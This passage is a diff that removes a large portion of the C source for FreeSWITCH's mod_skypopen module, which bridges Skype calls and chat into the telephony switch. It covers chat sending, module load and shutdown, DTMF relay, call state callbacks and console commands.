-                               DEBUGA_SKYPE("i=%d globals.SKYPOPEN_INTERFACES[%d].write_silence_when_idle=%d\n", SKYPOPEN_P_LOG, i, i, globals.SKYPOPEN_INTERFACES[i].write_silence_when_idle);
-                       }
-               }
-       }
-
-       switch_mutex_unlock(globals.mutex);
-       switch_xml_free(xml);
-
-       return SWITCH_STATUS_SUCCESS;
-}
-static switch_status_t chat_send(const char *proto, const char *from, const char *to, const char *subject, const char *body, const char *type,
-                                                                const char *hint)
-{
-       char *user = NULL, *host, *f_user = NULL, *f_host = NULL, *f_resource = NULL;
-       private_t *tech_pvt = NULL;
-       int i = 0, found = 0, tried = 0;
-       char skype_msg[1024];
-
-       switch_assert(proto != NULL);
-
-       DEBUGA_SKYPE("chat_send(proto=%s, from=%s, to=%s, subject=%s, body=%s, type=%s, hint=%s)\n", SKYPOPEN_P_LOG, proto, from, to, subject, body, type,
-                                hint ? hint : "NULL");
-
-       if (!to || !strlen(to)) {
-               ERRORA("Missing To: header.\n", SKYPOPEN_P_LOG);
-               return SWITCH_STATUS_SUCCESS;
-       }
-
-       if ((!from && !hint) || (!strlen(from) && !strlen(hint))) {
-               ERRORA("Missing From: AND Hint: headers.\n", SKYPOPEN_P_LOG);
-               return SWITCH_STATUS_SUCCESS;
-       }
-
-       if (from && (f_user = strdup(from))) {
-               if ((f_host = strchr(f_user, '@'))) {
-                       *f_host++ = '\0';
-                       if ((f_resource = strchr(f_host, '/'))) {
-                               *f_resource++ = '\0';
-                       }
-               }
-       }
-
-       if (to && (user = strdup(to))) {
-               if ((host = strchr(user, '@'))) {
-                       *host++ = '\0';
-               }
-
-               DEBUGA_SKYPE("chat_send(proto=%s, from=%s, to=%s, subject=%s, body=%s, type=%s, hint=%s)\n", SKYPOPEN_P_LOG, proto, from, to, subject, body, type,
-                                        hint ? hint : "NULL");
-               if (hint && strlen(hint)) {
-                       //in hint we receive the interface name to use
-                       for (i = 0; !found && i < SKYPOPEN_MAX_INTERFACES; i++) {
-                               if (strlen(globals.SKYPOPEN_INTERFACES[i].name)
-                                       && (strncmp(globals.SKYPOPEN_INTERFACES[i].name, hint, strlen(hint)) == 0)) {
-                                       tech_pvt = &globals.SKYPOPEN_INTERFACES[i];
-                                       DEBUGA_SKYPE("Using interface: globals.SKYPOPEN_INTERFACES[%d].name=|||%s|||\n", SKYPOPEN_P_LOG, i, globals.SKYPOPEN_INTERFACES[i].name);
-                                       found = 1;
-                                       break;
-                               }
-                       }
-               } else {
-                       //we have no a predefined interface name to use (hint is NULL), so let's choose an interface from the username (from)
-                       for (i = 0; !found && i < SKYPOPEN_MAX_INTERFACES; i++) {
-                               if (strlen(globals.SKYPOPEN_INTERFACES[i].name)
-                                       && (strncmp(globals.SKYPOPEN_INTERFACES[i].skype_user, from, strlen(from)) == 0)) {
-                                       tech_pvt = &globals.SKYPOPEN_INTERFACES[i];
-                                       DEBUGA_SKYPE("Using interface: globals.SKYPOPEN_INTERFACES[%d].name=|||%s|||\n", SKYPOPEN_P_LOG, i, globals.SKYPOPEN_INTERFACES[i].name);
-                                       found = 1;
-                                       break;
-                               }
-                       }
-               }
-               if (!found) {
-                       ERRORA("ERROR: A Skypopen interface with name='%s' or one with skypeuser='%s' was not found\n", SKYPOPEN_P_LOG, hint ? hint : "NULL",
-                                  from ? from : "NULL");
-                       goto end;
-               } else {
-
-                       snprintf(skype_msg, sizeof(skype_msg), "CHAT CREATE %s", to);
-                       skypopen_signaling_write(tech_pvt, skype_msg);
-                       switch_sleep(1000);
-               }
-
-               found = 0;
-
-               while (!found) {
-                       for (i = 0; i < MAX_CHATS; i++) {
-                               if (!strcmp(tech_pvt->chats[i].dialog_partner, to)) {
-                                       snprintf(skype_msg, sizeof(skype_msg), "CHATMESSAGE %s %s", tech_pvt->chats[i].chatname, body);
-                                       skypopen_signaling_write(tech_pvt, skype_msg);
-                                       found = 1;
-                                       break;
-                               }
-                       }
-                       if (found) {
-                               break;
-                       }
-                       if (tried > 1000) {
-                               ERRORA("No chat with dialog_partner='%s' was found\n", SKYPOPEN_P_LOG, to);
-                               break;
-                       }
-                       switch_sleep(1000);
-               }
-
-       }
-  end:
-       switch_safe_free(user);
-       switch_safe_free(f_user);
-       return SWITCH_STATUS_SUCCESS;
-}
-
-
-SWITCH_MODULE_LOAD_FUNCTION(mod_skypopen_load)
-{
-       switch_api_interface_t *commands_api_interface;
-       switch_chat_interface_t *chat_interface;
-
-       skypopen_module_pool = pool;
-       memset(&globals, '\0', sizeof(globals));
-
-       running = 1;
-
-       if (load_config(FULL_RELOAD) != SWITCH_STATUS_SUCCESS) {
-               running = 0;
-               return SWITCH_STATUS_FALSE;
-       }
-
-       if (switch_event_reserve_subclass(MY_EVENT_INCOMING_CHATMESSAGE) != SWITCH_STATUS_SUCCESS) {
-               switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't register subclass!\n");
-               return SWITCH_STATUS_GENERR;
-       }
-
-       *module_interface = switch_loadable_module_create_module_interface(pool, modname);
-       skypopen_endpoint_interface = switch_loadable_module_create_interface(*module_interface, SWITCH_ENDPOINT_INTERFACE);
-       skypopen_endpoint_interface->interface_name = "skypopen";
-       skypopen_endpoint_interface->io_routines = &skypopen_io_routines;
-       skypopen_endpoint_interface->state_handler = &skypopen_state_handlers;
-
-       if (running) {
-
-               SWITCH_ADD_API(commands_api_interface, "sk", "Skypopen console commands", sk_function, SK_SYNTAX);
-               SWITCH_ADD_API(commands_api_interface, "skypopen", "Skypopen interface commands", skypopen_function, SKYPOPEN_SYNTAX);
-               SWITCH_ADD_API(commands_api_interface, "skypopen_chat", "Skypopen_chat interface remote_skypename TEXT", skypopen_chat_function, SKYPOPEN_CHAT_SYNTAX);
-               SWITCH_ADD_CHAT(chat_interface, MDL_CHAT_PROTO, chat_send);
-
-
-               /* indicate that the module should continue to be loaded */
-               return SWITCH_STATUS_SUCCESS;
-       } else
-               return SWITCH_STATUS_FALSE;
-}
-
-SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_skypopen_shutdown)
-{
-       int x;
-       private_t *tech_pvt = NULL;
-       switch_status_t status = SWITCH_STATUS_SUCCESS;
-       unsigned int howmany = 8;
-       int interface_id;
-
-       running = 0;
-
-       for (interface_id = 0; interface_id < SKYPOPEN_MAX_INTERFACES; interface_id++) {
-               tech_pvt = &globals.SKYPOPEN_INTERFACES[interface_id];
-
-               if (strlen(globals.SKYPOPEN_INTERFACES[interface_id].name)) {
-                       if (globals.SKYPOPEN_INTERFACES[interface_id].skypopen_signaling_thread) {
-#ifdef WIN32
-                               skypopen_signaling_write(tech_pvt, "DIE");
-                               switch_sleep(10000);
-                               switch_file_write(tech_pvt->SkypopenHandles.fdesc[1], "sciutati", &howmany);    // let's the controldev_thread die
-
-#else /* WIN32 */
-                               howmany = write(tech_pvt->SkypopenHandles.fdesc[1], "sciutati", howmany);
-#endif /* WIN32 */
-                       }
-
-                       if (globals.SKYPOPEN_INTERFACES[interface_id].skypopen_api_thread) {
-#ifdef WIN32
-                               if (SendMessage(tech_pvt->SkypopenHandles.win32_hInit_MainWindowHandle, WM_DESTROY, 0, 0) == FALSE) {   // let's the skypopen_api_thread_func die
-                                       DEBUGA_SKYPE("got FALSE here, thread probably was already dead. GetLastError returned: %d\n", SKYPOPEN_P_LOG, GetLastError());
-                                       tech_pvt->skypopen_api_thread=NULL;
-                               }
-#else
-                               if (tech_pvt->SkypopenHandles.disp) {
-                                       XEvent e;
-                                       Atom atom1 = XInternAtom(tech_pvt->SkypopenHandles.disp, "SKYPECONTROLAPI_MESSAGE_BEGIN",
-                                                                                        False);
-                                       memset(&e, 0, sizeof(e));
-                                       e.xclient.type = ClientMessage;
-                                       e.xclient.message_type = atom1; /*  leading message */
-                                       e.xclient.display = tech_pvt->SkypopenHandles.disp;
-                                       e.xclient.window = tech_pvt->SkypopenHandles.skype_win;
-                                       e.xclient.format = 8;
-
-                                       XSendEvent(tech_pvt->SkypopenHandles.disp, tech_pvt->SkypopenHandles.win, False, 0, &e);
-                                       XSync(tech_pvt->SkypopenHandles.disp, False);
-                               }
-#endif
-                       }
-                       x = 10;
-                       while (x) {                     //FIXME 0.5 seconds?
-                               x--;
-                               switch_yield(50000);
-                       }
-                       if (globals.SKYPOPEN_INTERFACES[interface_id].skypopen_signaling_thread) {
-                               switch_thread_join(&status, globals.SKYPOPEN_INTERFACES[interface_id].skypopen_signaling_thread);
-                       }
-                       if (status != SWITCH_STATUS_SUCCESS)
-                               DEBUGA_SKYPE("got FALSE here, thread was not joined\n", SKYPOPEN_P_LOG);
-                       if (globals.SKYPOPEN_INTERFACES[interface_id].skypopen_api_thread) {
-                               switch_thread_join(&status, globals.SKYPOPEN_INTERFACES[interface_id].skypopen_api_thread);
-                       }
-                       if (status != SWITCH_STATUS_SUCCESS)
-                               DEBUGA_SKYPE("got FALSE here, thread was not joined\n", SKYPOPEN_P_LOG);
-#ifndef WIN32
-                       WARNINGA("SHUTDOWN interface_id=%d\n", SKYPOPEN_P_LOG, interface_id);
-                       shutdown(tech_pvt->audiopipe_cli[0], 2);
-                       close(tech_pvt->audiopipe_cli[0]);
-                       shutdown(tech_pvt->audiopipe_cli[1], 2);
-                       close(tech_pvt->audiopipe_cli[1]);
-                       shutdown(tech_pvt->audiopipe_srv[0], 2);
-                       close(tech_pvt->audiopipe_srv[0]);
-                       shutdown(tech_pvt->audiopipe_srv[1], 2);
-                       close(tech_pvt->audiopipe_srv[1]);
-                       shutdown(tech_pvt->SkypopenHandles.fdesc[0], 2);
-                       close(tech_pvt->SkypopenHandles.fdesc[0]);
-                       shutdown(tech_pvt->SkypopenHandles.fdesc[1], 2);
-                       close(tech_pvt->SkypopenHandles.fdesc[1]);
-#endif /* WIN32 */
-               }
-
-       }
-       switch_event_free_subclass(MY_EVENT_INCOMING_CHATMESSAGE);
-
-       switch_safe_free(globals.context);
-       switch_safe_free(globals.dialplan);
-       switch_safe_free(globals.destination);
-       switch_safe_free(globals.skype_user);
-       switch_safe_free(globals.report_incoming_chatmessages);
-       switch_safe_free(globals.silent_mode);
-       switch_safe_free(globals.write_silence_when_idle);
-
-       return SWITCH_STATUS_SUCCESS;
-}
-
-void *SWITCH_THREAD_FUNC skypopen_do_tcp_srv_thread(switch_thread_t * thread, void *obj)
-{
-       return skypopen_do_tcp_srv_thread_func(obj);
-}
-
-void *SWITCH_THREAD_FUNC skypopen_do_tcp_cli_thread(switch_thread_t * thread, void *obj)
-{
-       return skypopen_do_tcp_cli_thread_func(obj);
-}
-
-void *SWITCH_THREAD_FUNC skypopen_do_skypeapi_thread(switch_thread_t * thread, void *obj)
-{
-       return skypopen_do_skypeapi_thread_func(obj);
-}
-
-int dtmf_received(private_t * tech_pvt, char *value)
-{
-       switch_core_session_t *session = NULL;
-       switch_channel_t *channel = NULL;
-
-       session = switch_core_session_locate(tech_pvt->session_uuid_str);
-       channel = switch_core_session_get_channel(session);
-
-       if (channel) {
-
-               if (switch_channel_test_flag(channel, CF_BRIDGED)
-                       && !switch_true(switch_channel_get_variable(channel, "skype_add_outband_dtmf_also_when_bridged"))) {
-
-
-                       NOTICA
-                               ("received DTMF '%c' on channel %s, but we're BRIDGED, so we DO NOT relay it out of band. If you DO want to relay it out of band when bridged too, on top of audio DTMF, set the channel variable 'skype_add_outband_dtmf_also_when_bridged=true' \n",
-                                SKYPOPEN_P_LOG, value[0], switch_channel_get_name(channel));
-
-               } else {
-
-
-
-                       switch_dtmf_t dtmf = { (char) value[0], switch_core_default_dtmf_duration(0) };
-                       DEBUGA_SKYPE("received DTMF %c on channel %s\n", SKYPOPEN_P_LOG, dtmf.digit, switch_channel_get_name(channel));
-                       switch_mutex_lock(tech_pvt->flag_mutex);
-                       switch_channel_queue_dtmf(channel, &dtmf);
-                       switch_set_flag(tech_pvt, TFLAG_DTMF);
-                       switch_mutex_unlock(tech_pvt->flag_mutex);
-               }
-       } else {
-               WARNINGA("received %c DTMF, but no channel?\n", SKYPOPEN_P_LOG, value[0]);
-       }
-       switch_core_session_rwunlock(session);
-
-       return 0;
-}
-
-int start_audio_threads(private_t * tech_pvt)
-{
-       switch_threadattr_t *thd_attr = NULL;
-
-       tech_pvt->begin_to_write = 0;
-       tech_pvt->begin_to_read = 0;
-
-       if (switch_core_timer_init(&tech_pvt->timer_read, "soft", 20, 320, skypopen_module_pool) != SWITCH_STATUS_SUCCESS) {
-               ERRORA("setup timer failed\n", SKYPOPEN_P_LOG);
-               return SWITCH_STATUS_FALSE;
-       }
-
-       switch_core_timer_sync(&tech_pvt->timer_read);
-
-       if (switch_core_timer_init(&tech_pvt->timer_write, "soft", 20, 320, skypopen_module_pool) != SWITCH_STATUS_SUCCESS) {
-               ERRORA("setup timer failed\n", SKYPOPEN_P_LOG);
-               return SWITCH_STATUS_FALSE;
-       }
-
-       switch_core_timer_sync(&tech_pvt->timer_write);
-
-       switch_threadattr_create(&thd_attr, skypopen_module_pool);
-       switch_threadattr_detach_set(thd_attr, 0);
-       switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
-       if (switch_thread_create(&tech_pvt->tcp_srv_thread, thd_attr, skypopen_do_tcp_srv_thread, tech_pvt, skypopen_module_pool) == SWITCH_STATUS_SUCCESS) {
-               DEBUGA_SKYPE("started tcp_srv_thread thread.\n", SKYPOPEN_P_LOG);
-       } else {
-               ERRORA("failed to start tcp_srv_thread thread.\n", SKYPOPEN_P_LOG);
-               return -1;
-       }
-
-       switch_threadattr_create(&thd_attr, skypopen_module_pool);
-       switch_threadattr_detach_set(thd_attr, 0);
-       switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
-       if (switch_thread_create(&tech_pvt->tcp_cli_thread, thd_attr, skypopen_do_tcp_cli_thread, tech_pvt, skypopen_module_pool) == SWITCH_STATUS_SUCCESS) {
-               DEBUGA_SKYPE("started tcp_cli_thread thread.\n", SKYPOPEN_P_LOG);
-       } else {
-               ERRORA("failed to start tcp_cli_thread thread.\n", SKYPOPEN_P_LOG);
-               return -1;
-       }
-       switch_sleep(100000);
-
-       if (tech_pvt->tcp_cli_thread == NULL || tech_pvt->tcp_srv_thread == NULL) {
-               ERRORA("tcp_cli_thread or tcp_srv_thread exited\n", SKYPOPEN_P_LOG);
-               return -1;
-       }
-
-       return 0;
-}
-
-int new_inbound_channel(private_t * tech_pvt)
-{
-       switch_core_session_t *session = NULL;
-       switch_channel_t *channel = NULL;
-
-       if ((session = switch_core_session_request(skypopen_endpoint_interface, SWITCH_CALL_DIRECTION_INBOUND, NULL)) != 0) {
-               DEBUGA_SKYPE("2 SESSION_REQUEST %s\n", SKYPOPEN_P_LOG, switch_core_session_get_uuid(session));
-               switch_core_session_add_stream(session, NULL);
-               channel = switch_core_session_get_channel(session);
-               if (!channel) {
-                       ERRORA("Doh! no channel?\n", SKYPOPEN_P_LOG);
-                       switch_core_session_destroy(&session);
-                       return 0;
-               }
-               switch_channel_set_variable(channel, "waste", "false");
-               if (skypopen_tech_init(tech_pvt, session) != SWITCH_STATUS_SUCCESS) {
-                       ERRORA("Doh! no tech_init?\n", SKYPOPEN_P_LOG);
-                       switch_core_session_destroy(&session);
-                       return 0;
-               }
-
-               if ((tech_pvt->caller_profile =
-                        switch_caller_profile_new(switch_core_session_get_pool(session), "skypopen",
-                                                                          tech_pvt->dialplan, tech_pvt->callid_name,
-                                                                          tech_pvt->callid_number, NULL, NULL, NULL, NULL, "mod_skypopen", tech_pvt->context, tech_pvt->destination)) != 0) {
-                       char name[128];
-                       switch_snprintf(name, sizeof(name), "skypopen/%s", tech_pvt->name);
-                       switch_channel_set_name(channel, name);
-                       switch_channel_set_caller_profile(channel, tech_pvt->caller_profile);
-               }
-               switch_channel_set_state(channel, CS_INIT);
-               if (switch_core_session_thread_launch(session) != SWITCH_STATUS_SUCCESS) {
-                       ERRORA("Error spawning thread\n", SKYPOPEN_P_LOG);
-                       switch_core_session_destroy(&session);
-                       return 0;
-               }
-       }
-       if (channel) {
-               switch_channel_mark_answered(channel);
-               switch_channel_set_variable(channel, "skype_user", tech_pvt->skype_user);
-               switch_channel_set_variable(channel, "initial_skype_user", tech_pvt->initial_skype_user);
-       }
-
-       DEBUGA_SKYPE("new_inbound_channel\n", SKYPOPEN_P_LOG);
-
-       return 0;
-}
-
-int remote_party_is_ringing(private_t * tech_pvt)
-{
-       switch_core_session_t *session = NULL;
-       switch_channel_t *channel = NULL;
-
-       if (!zstr(tech_pvt->session_uuid_str)) {
-               session = switch_core_session_locate(tech_pvt->session_uuid_str);
-       } else {
-               ERRORA("No session???\n", SKYPOPEN_P_LOG);
-               goto done;
-       }
-       if (session) {
-               channel = switch_core_session_get_channel(session);
-       } else {
-               ERRORA("No session???\n", SKYPOPEN_P_LOG);
-               goto done;
-       }
-       if (channel) {
-               switch_channel_mark_ring_ready(channel);
-               DEBUGA_SKYPE("skype_call: REMOTE PARTY RINGING\n", SKYPOPEN_P_LOG);
-       } else {
-               ERRORA("No channel???\n", SKYPOPEN_P_LOG);
-       }
-
-       switch_core_session_rwunlock(session);
-
-  done:
-       return 0;
-}
-
-int remote_party_is_early_media(private_t * tech_pvt)
-{
-       switch_core_session_t *session = NULL;
-       switch_channel_t *channel = NULL;
-
-       if (!zstr(tech_pvt->session_uuid_str)) {
-               session = switch_core_session_locate(tech_pvt->session_uuid_str);
-       } else {
-               ERRORA("No session???\n\n\n", SKYPOPEN_P_LOG);
-               goto done;
-       }
-       if (session) {
-               channel = switch_core_session_get_channel(session);
-               switch_core_session_add_stream(session, NULL);
-       } else {
-               ERRORA("No session???\n", SKYPOPEN_P_LOG);
-               goto done;
-       }
-       if (channel) {
-               switch_channel_mark_pre_answered(channel);
-               DEBUGA_SKYPE("skype_call: REMOTE PARTY EARLY MEDIA\n", SKYPOPEN_P_LOG);
-       } else {
-               ERRORA("No channel???\n", SKYPOPEN_P_LOG);
-       }
-
-       switch_core_session_rwunlock(session);
-
-  done:
-       return 0;
-}
-
-int outbound_channel_answered(private_t * tech_pvt)
-{
-       switch_core_session_t *session = NULL;
-       switch_channel_t *channel = NULL;
-
-       if (!zstr(tech_pvt->session_uuid_str)) {
-               session = switch_core_session_locate(tech_pvt->session_uuid_str);
-       } else {
-               ERRORA("No session???\n", SKYPOPEN_P_LOG);
-               goto done;
-       }
-       if (session) {
-               channel = switch_core_session_get_channel(session);
-       } else {
-               ERRORA("No channel???\n", SKYPOPEN_P_LOG);
-               goto done;
-       }
-       if (channel) {
-               switch_channel_mark_answered(channel);
-       } else {
-               ERRORA("No channel???\n", SKYPOPEN_P_LOG);
-       }
-
-       switch_core_session_rwunlock(session);
-
-  done:
-       DEBUGA_SKYPE("outbound_channel_answered!\n", SKYPOPEN_P_LOG);
-
-       return 0;
-}
-
-private_t *find_available_skypopen_interface_rr(private_t * tech_pvt_calling)
-{
-       private_t *tech_pvt = NULL;
-       int i;
-
-       switch_mutex_lock(globals.mutex);
-
-       /* Fact is the real interface start from 1 */
-       //XXX no, is just a convention, but you can have it start from 0. I do not, for aestetic reasons :-)  
-       //if (globals.next_interface == 0) globals.next_interface = 1;
-
-       for (i = 0; i < SKYPOPEN_MAX_INTERFACES; i++) {
-               int interface_id;
-
-               interface_id = globals.next_interface;
-               globals.next_interface = interface_id + 1 < SKYPOPEN_MAX_INTERFACES ? interface_id + 1 : 0;
-
-               if (strlen(globals.SKYPOPEN_INTERFACES[interface_id].name)) {
-                       int skype_state = 0;
-
-                       tech_pvt = &globals.SKYPOPEN_INTERFACES[interface_id];
-                       skype_state = tech_pvt->interface_state;
-                       //DEBUGA_SKYPE("skype interface: %d, name: %s, state: %d\n", SKYPOPEN_P_LOG, interface_id, globals.SKYPOPEN_INTERFACES[interface_id].name, skype_state);
-                       if ((tech_pvt_calling ? strcmp(tech_pvt->skype_user, tech_pvt_calling->skype_user) : 1)
-                               && (SKYPOPEN_STATE_DOWN == skype_state || 0 == skype_state) && (tech_pvt->skype_callflow == CALLFLOW_STATUS_FINISHED
-                                                                                                                                                          || 0 == tech_pvt->skype_callflow)) {
-                               DEBUGA_SKYPE("returning as available skype interface name: %s, state: %d callflow: %d\n", SKYPOPEN_P_LOG, tech_pvt->name, skype_state,
-                                                        tech_pvt->skype_callflow);
-                               if (tech_pvt_calling == NULL) {
-                                       tech_pvt->interface_state = SKYPOPEN_STATE_SELECTED;
-                               }
-
-                               switch_mutex_unlock(globals.mutex);
-                               return tech_pvt;
-                       }
-               }
-       }
-
-       switch_mutex_unlock(globals.mutex);
-       return NULL;
-}
-
-SWITCH_STANDARD_API(sk_function)
-{
-       char *mycmd = NULL, *argv[10] = { 0 };
-       int argc = 0;
-
-       if (globals.sk_console)
-               stream->write_function(stream, "sk console is: |||%s|||\n", globals.sk_console->name);
-       else
-               stream->write_function(stream, "sk console is NOT yet assigned\n");
-
-       if (!zstr(cmd) && (mycmd = strdup(cmd))) {
-               argc = switch_separate_string(mycmd, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
-       }
-
-       if (!argc || !argv[0]) {
-               stream->write_function(stream, "%s", SK_SYNTAX);
-               goto end;
-       }
-
-       if (!strcasecmp(argv[0], "list")) {
-               int i;
-               int ib = 0;
-               int ib_failed = 0;
-               int ob = 0;
-               int ob_failed = 0;
-               char next_flag_char = ' ';
-
-               stream->write_function(stream, "F ID\t    Name    \tIB (F/T)    OB (F/T)\tState\tCallFlw\t\tUUID\n");
-               stream->write_function(stream, "= ====\t  ========  \t=======     =======\t======\t============\t======\n");
-
-               for (i = 0; i < SKYPOPEN_MAX_INTERFACES; i++) {
-                       next_flag_char = i == globals.next_interface ? '*' : ' ';
-                       ib += globals.SKYPOPEN_INTERFACES[i].ib_calls;
-                       ib_failed += globals.SKYPOPEN_INTERFACES[i].ib_failed_calls;
-                       ob += globals.SKYPOPEN_INTERFACES[i].ob_calls;
-                       ob_failed += globals.SKYPOPEN_INTERFACES[i].ob_failed_calls;
-
-                       if (strlen(globals.SKYPOPEN_INTERFACES[i].name)) {
-                               stream->write_function(stream,
-                                                                          "%c %d\t[%s]\t%3u/%u\t%6u/%u\t%s\t%s\t%s\n",
-                                                                          next_flag_char,
-                                                                          i, globals.SKYPOPEN_INTERFACES[i].name,
-                                                                          globals.SKYPOPEN_INTERFACES[i].ib_failed_calls,
-                                                                          globals.SKYPOPEN_INTERFACES[i].ib_calls,
-                                                                          globals.SKYPOPEN_INTERFACES[i].ob_failed_calls,
-                                                                          globals.SKYPOPEN_INTERFACES[i].ob_calls,
-                                                                          interface_status[globals.SKYPOPEN_INTERFACES[i].interface_state],
-                                                                          skype_callflow[globals.SKYPOPEN_INTERFACES[i].skype_callflow], globals.SKYPOPEN_INTERFACES[i].session_uuid_str);
-                       } else if (argc > 1 && !strcasecmp(argv[1], "full")) {
-                               stream->write_function(stream, "%c\t%d\n", next_flag_char, i);
-                       }
-
-               }
-               stream->write_function(stream, "\nTotal Interfaces: %d  IB Calls(Failed/Total): %ld/%ld  OB Calls(Failed/Total): %ld/%ld\n",
-                                                          globals.real_interfaces > 0 ? globals.real_interfaces - 1 : 0, ib_failed, ib, ob_failed, ob);
-
-       } else if (!strcasecmp(argv[0], "console")) {
-               int i;
-               int found = 0;
-
-               if (argc == 2) {
-                       for (i = 0; !found && i < SKYPOPEN_MAX_INTERFACES; i++) {
-                               /* we've been asked for a normal interface name, or we have not found idle interfaces to serve as the "ANY" interface */
-                               if (strlen(globals.SKYPOPEN_INTERFACES[i].name)
-                                       && (strncmp(globals.SKYPOPEN_INTERFACES[i].name, argv[1], strlen(argv[1])) == 0)) {
-                                       globals.sk_console = &globals.SKYPOPEN_INTERFACES[i];
-                                       stream->write_function(stream,
-                                                                                  "sk console is now: globals.SKYPOPEN_INTERFACES[%d].name=|||%s|||\n", i, globals.SKYPOPEN_INTERFACES[i].name);
-                                       stream->write_function(stream, "sk console is: |||%s|||\n", globals.sk_console->name);
-                                       found = 1;
-                                       break;
-                               }
-
-                       }
-                       if (!found)
-                               stream->write_function(stream, "ERROR: A Skypopen interface with name='%s' was not found\n", argv[1]);
-               } else {
-
-                       stream->write_function(stream, "-ERR Usage: sk console interface_name\n");
-                       goto end;
-               }
-
-       } else if (!strcasecmp(argv[0], "ciapalino")) {
-
-       } else if (!strcasecmp(argv[0], "reload")) {
-               if (load_config(SOFT_RELOAD) != SWITCH_STATUS_SUCCESS) {
-                       stream->write_function(stream, "sk reload failed\n");
-               } else {
-                       stream->write_function(stream, "sk reload success\n");
-               }
-       } else if (!strcasecmp(argv[0], "remove")) {
-               if (argc == 2) {
-                       if (remove_interface(argv[1]) == SWITCH_STATUS_SUCCESS) {
-                               if (interface_exists(argv[1]) == SWITCH_STATUS_SUCCESS) {
-                                       stream->write_function(stream, "sk remove '%s' failed\n", argv[1]);
-                               } else {
-                                       stream->write_function(stream, "sk remove '%s' success\n", argv[1]);
-                               }
-                       }
-               } else {
-                       stream->write_function(stream, "-ERR Usage: sk remove interface_name\n");
-                       goto end;
-               }
-
-       } else {
-               if (globals.sk_console)
-                       skypopen_signaling_write(globals.sk_console, (char *) cmd);
-               else
-                       stream->write_function(stream, "sk console is NOT yet assigned\n");
-       }
-  end:
-       switch_safe_free(mycmd);
-
-       return SWITCH_STATUS_SUCCESS;
-}
-
-SWITCH_STANDARD_API(skypopen_function)
-{
-       char *mycmd = NULL, *argv[10] = { 0 };
-       int argc = 0;
-       private_t *tech_pvt = NULL;
-
-       if (!zstr(cmd) && (mycmd = strdup(cmd))) {
-               argc = switch_separate_string(mycmd, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
-       }
-
-       if (!argc) {
-               stream->write_function(stream, "ERROR, usage: %s", SKYPOPEN_SYNTAX);
-               goto end;
-       }
-
-       if (argc < 2) {
-               stream->write_function(stream, "ERROR, usage: %s", SKYPOPEN_SYNTAX);
-               goto end;
-       }
-
-       if (argv[0]) {
-               int i;
-               int found = 0;
-
-               for (i = 0; !found && i < SKYPOPEN_MAX_INTERFACES; i++) {
-                       /* we've been asked for a normal interface name, or we have not found idle interfaces to serve as the "ANY" interface */
-                       if (strlen(globals.SKYPOPEN_INTERFACES[i].name)
-                               && (strncmp(globals.SKYPOPEN_INTERFACES[i].name, argv[0], strlen(argv[0])) == 0)) {
-                               tech_pvt = &globals.SKYPOPEN_INTERFACES[i];
-                               stream->write_function(stream, "Using interface: globals.SKYPOPEN_INTERFACES[%d].name=|||%s|||\n", i, globals.SKYPOPEN_INTERFACES[i].name);
-                               found = 1;
-                               break;
-                       }
-
-               }
-               if (!found) {
-                       stream->write_function(stream, "ERROR: A Skypopen interface with name='%s' was not found\n", argv[0]);
-                       switch_safe_free(mycmd);
-
-                       return SWITCH_STATUS_SUCCESS;
-               } else {
-                       skypopen_signaling_write(tech_pvt, (char *) &cmd[strlen(argv[0]) + 1]);
-               }
-       } else {
-               stream->write_function(stream, "ERROR, usage: %s", SKYPOPEN_SYNTAX);
-       }
-  end:
-       switch_safe_free(mycmd);
-
-       return SWITCH_STATUS_SUCCESS;
-}
-
-int skypopen_answer(private_t * tech_pvt, char *id, char *value)
-{
-       char msg_to_skype[1024];
-       int i;
-       int found = 0;
-       private_t *giovatech;
-       struct timeval timenow;
-
-       switch_mutex_lock(globals.mutex);
-
-       gettimeofday(&timenow, NULL);
-       for (i = 0; !found && i < SKYPOPEN_MAX_INTERFACES; i++) {
-               if (strlen(globals.SKYPOPEN_INTERFACES[i].name)) {
-
-                       giovatech = &globals.SKYPOPEN_INTERFACES[i];
-                       if (strlen(giovatech->skype_call_id) && (giovatech->interface_state != SKYPOPEN_STATE_DOWN) && (!strcmp(giovatech->skype_user, tech_pvt->skype_user)) && (!strcmp(giovatech->callid_number, value)) && ((((timenow.tv_sec - giovatech->answer_time.tv_sec) * 1000000) + (timenow.tv_usec - giovatech->answer_time.tv_usec)) < 1000000)) {       //XXX 1.5sec - can have a max of 1 call coming from the same skypename to the same skypename each 1.5 seconds
-                               found = 1;
-                               DEBUGA_SKYPE
-                                       ("FOUND  (name=%s, giovatech->interface_state=%d != SKYPOPEN_STATE_DOWN) && (giovatech->skype_user=%s == tech_pvt->skype_user=%s) && (giovatech->callid_number=%s == value=%s)\n",
-                                        SKYPOPEN_P_LOG, giovatech->name, giovatech->interface_state,
-                                        giovatech->skype_user, tech_pvt->skype_user, giovatech->callid_number, value)
-                                       if (tech_pvt->interface_state == SKYPOPEN_STATE_PRERING) {
-                                       tech_pvt->interface_state = SKYPOPEN_STATE_DOWN;
-                               } else if (tech_pvt->interface_state != 0 && tech_pvt->interface_state != SKYPOPEN_STATE_DOWN) {
-                                       WARNINGA("Why an interface_state %d HERE?\n", SKYPOPEN_P_LOG, tech_pvt->interface_state);
-                                       tech_pvt->interface_state = SKYPOPEN_STATE_DOWN;
-                               }
-
-                               break;
-                       }
-               }
-       }
-
-       if (found) {
-               switch_mutex_unlock(globals.mutex);
-               return 0;
-       }
-       DEBUGA_SKYPE("NOT FOUND\n", SKYPOPEN_P_LOG);
-
-       if (tech_pvt && tech_pvt->skype_call_id && !strlen(tech_pvt->skype_call_id)) {
-               /* we are not inside an active call */
-
-               tech_pvt->ib_calls++;
-
-               sprintf(msg_to_skype, "GET CALL %s PARTNER_DISPNAME", id);
-               skypopen_signaling_write(tech_pvt, msg_to_skype);
-               switch_sleep(10000);
-               tech_pvt->interface_state = SKYPOPEN_STATE_PREANSWER;
-               sprintf(msg_to_skype, "ALTER CALL %s ANSWER", id);
-               skypopen_signaling_write(tech_pvt, msg_to_skype);
-               DEBUGA_SKYPE("We answered a Skype RING on skype_call %s\n", SKYPOPEN_P_LOG, id);
-               gettimeofday(&tech_pvt->answer_time, NULL);
